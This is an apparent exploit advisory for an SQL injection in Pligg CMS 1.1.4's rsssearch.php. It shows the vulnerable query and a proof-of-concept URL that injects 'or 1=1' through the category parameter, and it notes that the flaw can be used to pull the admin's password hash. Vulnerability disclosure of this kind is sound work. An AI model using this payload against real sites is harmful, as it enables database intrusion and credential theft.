Pligg CMS 1.1.4 – SQL Injection
# Exploit Title: Pligg <= 1.1.4 SQL injection # Date: 03/23/2011 # Author: Null-0x00 # Software Link: http://pligg.com/ # Version: <= 1.1.4 # Websites: zenk-security.com & hackerzvoice.net # Description # An SQL Injection has been found on /rsssearch.php in pligg CMS 1.1.4. Prior versions (works on 1.1.3) might also be vulnerables. The $_REQUEST['category'] is not sanitized properly, and is used in a SQL request in a WHERE clause. The resulting request can be : SELECT pligg_links.link_id AS link_id, [...] FROM pligg_links LEFT JOIN pligg_groups ON pligg_links.link_group_id = pligg_groups.group_id WHERE 1 AND ( [...] AND pligg_links.link_category = 123 or 1=1)# ) AND pligg_links.link_status IN ('published','queued') # Test # To make this request happen, use this URL : http://WEBSITE/pligg/rsssearch.php?search=test&adv=1&scategory=123+or+1=1%29%23 This can be used to retrieve information such as the admin's password hash, etc. Have a nice day, Null |